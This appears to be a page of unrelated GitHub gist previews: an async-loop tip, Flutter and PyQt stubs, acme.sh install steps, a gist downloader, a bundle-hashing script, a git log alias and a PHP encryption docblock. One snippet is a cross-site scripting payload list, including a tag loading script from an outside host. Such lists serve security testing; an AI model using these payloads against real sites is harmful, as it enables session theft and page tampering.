TLDR: Use for...of instead of forEach() in asynchronous code.
For legacy browsers, use for(...;...;...) or [].reduce()
To execute the promises in parallel, use Promise.all([].map(...))
| import 'package:flutter/material.dart'; | |
| import 'package:flutter_webview_plugin/flutter_webview_plugin.dart'; | |
| class Login extends StatefulWidget { | |
| Login({Key key}) : super(key: key); | |
| @override | |
| _MyLoginPageState createState() => _MyLoginPageState(); | |
| } |
git clone https://github.com/Neilpang/acme.sh.git
cd acme.sh
./acme.sh --installOptionally, set the home dir and/or account info (if already have one).
If was previously using LetsEncrypt's certbot, can probably get account info from
/etc/letsencrypt/accounts/acme-v01.api.letsencrypt.org/directory/*/regr.json.
| # first: mkdir user && cd user && cp /path/to/get_gists.py . | |
| # python3 get_gists.py user | |
| import requests | |
| import sys | |
| from subprocess import call | |
| user = sys.argv[1] | |
| r = requests.get('https://api.github.com/users/{0}/gists'.format(user)) |
| #!/bin/bash | |
| # http://stackoverflow.com/questions/3679296/only-get-hash-value-using-md5sum-without-filename | |
| md5HASH=($(md5sum www/app/js/bundle.js| cut -d ' ' -f 1)) | |
| cp www/app/js/bundle.js www/app/js/bundle-$md5HASH.js; | |
| # store in variable in file | |
| echo "<?php define('HASH_EXT', '$md5HASH'); ?>" > www/app/inc/hash-bundle.php; |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
| git config --global alias.hist "log --pretty=format:'%C(yellow)[%ad]%C(reset) %C(green)[%h]%C(reset) | %C(red)%s %C(bold red){{%an}}%C(reset) %C(blue)%d%C(reset)' --graph --date=short" |
| <?php | |
| /** | |
| * simple method to encrypt or decrypt a plain text string | |
| * initialization vector(IV) has to be the same when encrypting and decrypting | |
| * | |
| * @param string $action: can be 'encrypt' or 'decrypt' | |
| * @param string $string: string to encrypt or decrypt | |
| * | |
| * @return string | |
| */ |
| class MainWidget(QtGui.QMainWindow): | |
| def __init__(self, parent=None): | |
| super(MainWidget, self).__init__(parent) | |
| self.setWindowTitle("FiFiFactory App") | |
| self.resize(720,480) | |
| self.setAcceptDrops(True) | |
| def dragEnterEvent(self, event): | |
| if event.mimeData().hasUrls(): | |
| event.accept() |
| ## | |
| # Creates an alias called "git hist" that outputs a nicely formatted git log. | |
| # Usage is just like "git log" | |
| # Examples: | |
| # git hist | |
| # git hist -5 | |
| # git hist <branch_name> | |
| # git hist <tag_name> -10 | |
| ## | |
| git config --global alias.hist "log --pretty=format:'%C(yellow)[%ad]%C(reset) %C(green)[%h]%C(reset) | %C(red)%s %C(bold red){{%an}}%C(reset) %C(blue)%d%C(reset)' --graph --date=short" |